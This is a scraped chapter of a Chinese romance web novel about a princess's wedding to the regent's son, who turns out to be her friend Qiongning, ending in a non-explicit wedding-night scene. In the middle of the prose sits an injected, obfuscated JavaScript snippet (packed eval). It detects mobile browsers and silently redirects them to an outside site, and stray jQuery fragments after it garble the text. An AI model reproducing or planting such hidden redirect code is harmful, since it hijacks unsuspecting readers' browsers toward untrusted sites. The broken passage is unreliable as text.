默认冷灰
24号文字
方正启体

26. 礼成

作者:血生铜花本书字数:K更新时间:
    “这丫头,难道还在生气?”白毓郁闷道,“见了我们就跟没见到一样。”


    他这几日被祖父关在家里思过,到婚礼这日才放出来。


    “也是,她手里拿着却扇,哪里看得到我。王府的时间赶得太急了,以前合欢总说,要在一个春暖花开,吹杨柳风的日子成亲。”


    他兴高采烈地说,却忽然渐渐没了话。他们心知肚明,昔日这番话是为谁而说。


    “没想到那个世子居然是个小白脸,长得勉强还行。”他一脸言不由衷。


    衡阳捂着嘴,“怎么,嫉妒了?人家世子分明一表人才,俊俏的很。”


    萧若华抱臂靠在墙上,“肤浅。”


    言旐哼了一声,有些得意,“有些人吃醋了。”


    萧若华皱眉,只道,“怎么可能?”


    “也不知是谁,眼巴巴去见人家,却被灰头土脸地赶出来,换做是我,早没脸见人了。”她甩了甩腰间锦囊上坠的流苏。


    萧若华知道言旐这是在说他。


    那日他去琼华殿索要图纸,却被孟合欢指着脸说了一顿,为了一只畜牲,当着宫人的面给他没脸。


    她孟合欢以为自己是谁啊?


    翻脸无情,目中无人,虚伪自私,这么多年的情谊,比不过一只畜牲?


    萧若华抬起脚,将刚刚落了一层的雪踩的咯吱一声,此时迎亲的人已经到王府,客人们全都跑出去看公主下障车。


    言旐觑着萧若华的脸色,忽然道:“人家现在自然是不同了,摄政王是奸佞,可他的权势是真的,能和皇帝叫板的人物,做了他的儿媳妇,我们这些旧友还是不要觍着脸讨人嫌--”


    一下子戳到萧若华的心病。


    昔日孟合欢在宫里,还是他第一个结交的。


    他不过见她可怜,施舍了些宫外好玩的好吃的,没想到她竟以为双方是好友了。


    呵。


    氏族怎会有不门当户对的好友?


    不过她这人--


    萧若华头上的发带忽然被风雪惊到脸上。


    他想起昔日的公主。


    她喜欢梳着双丫髻,两绺儿头发垂至胸前。


    待人真诚,与人和善,聪明伶俐,一应课业诗文每每可做魁首,渐渐地,与她交往,喜爱她的人更多了些。


    萧若华忽然嗤了一声,这都是她的诡计,如果不挑他萧若华做第一个交好之人,其他人怎会交心?


    白毓不知这事,他道:“合欢和咱们是多久的交情,即便是成了婚,咱们下帖子,她还敢不来不成?况且,这场婚事,我看也不过是摄政王激怒圣上的筏子,待尘埃落定,也就撂开手了。”


    他心里倒是没什么想法,只是和行首舞姬们交往多了,觉得情爱乃是毁掉人之灵气的第一祸害,成婚就是第二件,但对于合欢,怕是一件好事。


    第一件,被圣上亲手赐予他人为妻,她怕是再不爱他;第二件,她对摄政王府有怨,必然不会真正做一个妻子。


    那么昔日与他做乐赏舞的灵气只怕是要回来了。


    这么一想,他心里欢喜极了,竟是笑出了声:“我先去外边瞧瞧。”


    言旐看着他的背影,又看了一眼脸色奇怪的萧若华,嘴里嘀咕几句,自带了丫头往厅堂去了。


    “百子帐,七香车,迎公主,作娇娘...”京里顽童追着车。


    “世子,世子,你的障车文是什么?”今日之婚礼大概是冬日里难得的热闹,各家的子弟们到处走动,三五相携,这一放松,也敢调侃摄政王世子了。


    真不怕摄政王这护犊子的知道了,非让他们的老父请罪不可。


    普通平民也乐意让家中孩子们去凑趣。


    自圣上下旨以来,王府已大摆十天流水席,并给京中贫人所住街巷送粮赠衣,那些陈米和纸衣可使他们度过这个寒冬了,一时王府在民间风评都好了不少。


    摄政王又令所率军中士兵月钱加倍,如今北地柔然人不老实,老可汗死后大王子迅速登上汗位,倒让人吃惊不少,还以为他们能消停几年…冬来少食,又蠢蠢欲动打草谷,摄政王便令北边青壮今冬种完麦子后立即服兵役。


    现下世子大婚,为表普天同庆,多发几月饷银,士兵家眷们也能过个肥年。


    是故这次婚礼,许多百姓也敢跟着队伍作揖讨赏,发赏的管事也乐呵呵地照应好了,场面极其地热闹,又没有哄抢,大多数人都讨来了喜礼。


    合欢听了他随口吟就的障车文,右手持扇,左手撩起纱帘。


    外头的喧闹声越发大了些,孩童们拊掌笑闹:“公主娘娘出来了,新娘子出来了。”


    一只骨节分明的手伸到眼前。


    合欢心里忽然有些忐忑,这人身边虽然随时跟着仆从,但看着好像不像传闻中那么病弱,这万一...他今晚...


    世间夫妻,成亲之日要行周公之礼。


    她垂下眼,将手缓缓虚放到他指尖处。


    两人在众人的围观下走到正堂。


    门外鞭炮声响彻云霄。


    合欢牵着红绸,跟着那人拜了猪枳和炉灶,再拜天神地诋、端坐高堂的摄政王。


    “新人交拜...”


    合欢握着扇柄的手紧了紧。


    金雀儿察觉她紧张,于是扶着她道:“公主别怕,奴婢跟着你,待会就要拜客了。”


    合欢嗯了一声,在她的搀扶下跟着世子去了前厅,一路人声鼎沸,什么也听不清,她手里又拿着却扇,只能看见几个人影,听见宾客们叫好起哄声。


    而身边那个红色身影在蜂拥的人潮中护着她。


    他总是不急不缓,没有一点不耐烦,温声应付客人的恭祝。


    合欢稍稍放宽了心:看来她这位夫君,性子还是好相处的。


    大喜之日也没人不长眼来闹事,两人就这样一路到客席。


    按理说来,公主乃是君,在座客人都是臣子,从来没有君拜臣的道理,而世子爷身份尊贵,在座也就廖廖几人受的起两人一拜。


    于是,二人只拿着酒杯,向席上一敬。


    “公主,可还累着?”


    身边人悄声问着,这些礼仪最是劳人,合欢知道后边还有许多礼,此刻也只能耐着性子,轻声道:“还撑的住。”


    后面就是沃盥礼了。


    喜姥姥端来一盆水,两人先后被身边人服侍着用手沾了沾盆里的水。


    她的手有些湿润,手里的却扇滑的要握不住,好在后边就是却扇礼,客人们蜂拥到新房,叫嚷着要听却扇诗。


    合欢听见有布料摩擦声,那人向自己行礼,随口便是诗:“佳人对月影纤纤,犹藏娇容隐羞忙。何如却扇现红妆,自此良夜影成双。”


    话音刚落,合欢的扇子就拿下了,周围人轻轻嘶了一声。


    霁月难逢,长宁公主一身红妆却比今晚的月色还要美。


    夫人们连声不住地夸赞:“好个齐整的新娘子,莫非是天宫仙人下世,倒是我们世子爷的福气。”


    合欢却径直看向身边人,她的手微微颤抖。


    这声音很熟,竟然是他!


    奚琼宁竟是摄政王世子,今晚与她成婚的人。


    新婚之夜,居然发现未来夫君就是自己结识的友人,尴尬还没漫上来,到底被知道他已无事的喜悦没了过去。


    “公主...”他低头笑,“外边冷,咱们进去吧。”到了内间,合欢端坐床上,金雀儿她们撒帐后,又取了同牢礼要用的物事,丫头给他们各夹了肉,入口温热,又饮了合卺酒,琼宁伸出手,稳稳落在她发间,解去许婚之缨,合欢剪下两人头发,放在锦囊内,挂在百子帐上。


    至此,内屋只剩他们两个。


    新房里,合欢端坐红罗帐,外边烛火跳跃,昏黄的光晕染在轻纱帐上,像也害羞了一样,往远处四散而去。


    她道,“你就没有什么话,要对我说吗?”


    天知道她看见新郎居然是琼宁公子后,都不敢相信自己的眼睛——还以为是长相相似的两个人。


    虽然听见他声音熟悉,可万不敢相信世间有这等巧事。


    他出行需要人跟着,原以为是身体弱,可入府之后,他就行走自如,除了偶然会被仆从提醒几句,其余的就如寻常人,合欢更是以为自己想错了,毕竟,话本都不敢这么写。


    可却扇之后发现,竟真的是他。


    他为什么要隐藏身份呢?


    难道,他是在怪她?


    “琼宁怪我,情有可原。”她很是理解,若自己无故被连累伤成那样,肯定也不平。


    却听他同时道:“我怕你厌我。”


    合欢顿时抬头,金冠上垂下的流苏叮当作响,她道:“我怎会?”


    琼宁这才低声道:“原本我早该告诉你我的身份,合欢,可我怕你知道后,以后再不见我...割袍断义。我一直犹豫,直到今天。”


    合欢这才知道他的意思。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467875|169841||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她那双潋滟的眼睛笑着看他,故作伤心:“哦~原来在琼宁眼里,我就是个好使小性儿的人。”


    分明是含着笑意说的这番话,细细听话音也没恼,但琼宁看不见,也心里着急来不及分辨,他只十分歉意:“宁未有此意。”


    合欢却嘻嘻笑:“既然如此,你我之间,快别说这些了,怪不自在的,今日饿了一天,累了一天,我们拾掇一下,好好吃一回,便歇息了吧。”她唤道:“金雀儿,进来为我宽衣,金珠儿,去厨房提饭来。”


    “哎。”金雀儿带着宫女进来,先为她卸下发冠钗环等物,又扶她进了右间的盥洗室,侍女们提着热水进来,合欢在屏风后褪下衣裳。


    屋里炭火正旺,合欢进了浴桶,宫女们将她头发挽起,抹了些香膏保养之物。昨日刚洗过,今夜若洗了干不了,明日难免会头疼,不宜养生。


    未及,合欢在满室雾气里起身,宫女为她披上红纱金线寝衣,头发梳的光滑,垂落在她身后,头上挽了个慵懒随意的髻,只戴了几朵绢花,又快速为她上了一点妆,用手轻轻晕开。


    回到内间,金珠儿正在摆饭。


    而琼宁早已经收拾好,坐在炕桌边灯火下。


    丫鬟们进来服侍,将汤呈给两人,便立在后头,以备布菜。


    合欢早就饿极了,此刻先喝了汤,便将筷子伸向眼前的菜。琼宁听见她下筷子急,摇头笑了笑,丫鬟早已将他往日爱吃的东西夹至碗里。


    饭毕,丫鬟们收拾好,又来一群人,捧着水盆,漱口盂,牙粉等物进来。


    合欢端坐在床上,一双葱根似的手揉搓着红色衣裙。


    她偷偷偏头看向右边的琼宁公子,却看不见他的表情。


    这可如何是好,今日这洞房,可还要行?


    喜房内,一对红烛燃的正亮堂,又用上好的官窑碟子盛了红枣花生桂圆葵花子,上贴喜字。


    丫鬟们合上里间的门,偷笑着退出去。


    合欢有些困了,今日二更起就被嬷嬷从床上拉起来,如今吃了个半饱,又洗漱过,困意早就袭来,慢慢的,她的头就垂下去,往右靠去。


    奚琼宁只觉得左肩一沉,一股馨香扑过来,他下意识一接,竟将人搂进怀里。


    这,这--


    他的手像是按在棉花上一样,倏尔变得很烫,合欢的头枕在他腿上,衣衫滑落,半个肩膀在他手下。


    琼宁摸过各种玉,和田玉,蓝田玉,可都不如手下这块光滑润泽,叫他一时手指搭在虚空,不敢唐突。


    合欢晕晕乎乎起来,她抬眼就看见奚公子垂首望着她,脸颊似是有些红;而自己躺在他怀里。


    嗯?这是要行那嬷嬷所说的周公之礼了么?


    合欢猝然想起今早那玉雕,似乎有个与他们所处之境相似,本来睡的迷迷糊糊,如今困意越发上来,也不理会那玉雕什么意思,只想赶紧行完礼数睡觉,便往琼宁怀里一扎,拉着他的手往自己衣衫上一放。


    那手屈了一下,竟也任她施为。


    “夫君,你快些行周公之礼吧。”


    嬷嬷说,这是男子天生就会的,合欢也乐的偷懒。


    琼宁手颤了颤,将她抱得越发紧,依稀有些喘不过气。


    “你当真愿意么?”他极为认真地问道。


    “这有什么不愿意,反正我们是真正的夫妻。”合欢挣了挣,嘟囔道。


    琼宁将她放在床榻上,俯身压上去,似乎紧紧压抑着什么,红衣将肌肤也晕上红色。


    “今日若行了礼,”他低下头,只在她耳边道:“你此生就是我的妻子。”


    合欢被这股热气吹的心里不自在,略偏了偏头。


    “心里若有什么人,自此之后只能撵出去,只有我一个。”他似乎意有所指。


    合欢随口道:“我心里何曾有什么人。”


    随着这句话的,是身上那人的手,他捧着她的脸,细细地摸着她的眉毛,眼睛,鼻子,嘴唇,又捻了捻她的耳垂。


    “如此甚好。”


    合欢原以为也不过花些时间的事,没想到这礼这么难捱,琼宁亲的她身上好像着了火,心里害怕,却又不由自主要凑向他,迎着他。


    她的衣裳早就不知丢向哪儿,也来不及害羞,只想求求他让她好受一些。


    起初还哭泣,后来嘴里不知逸出什么怪调子,全叫琼宁含去了。


    “再叫我一声?”那人不住央求。


    一夜恩爱,自是不提。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)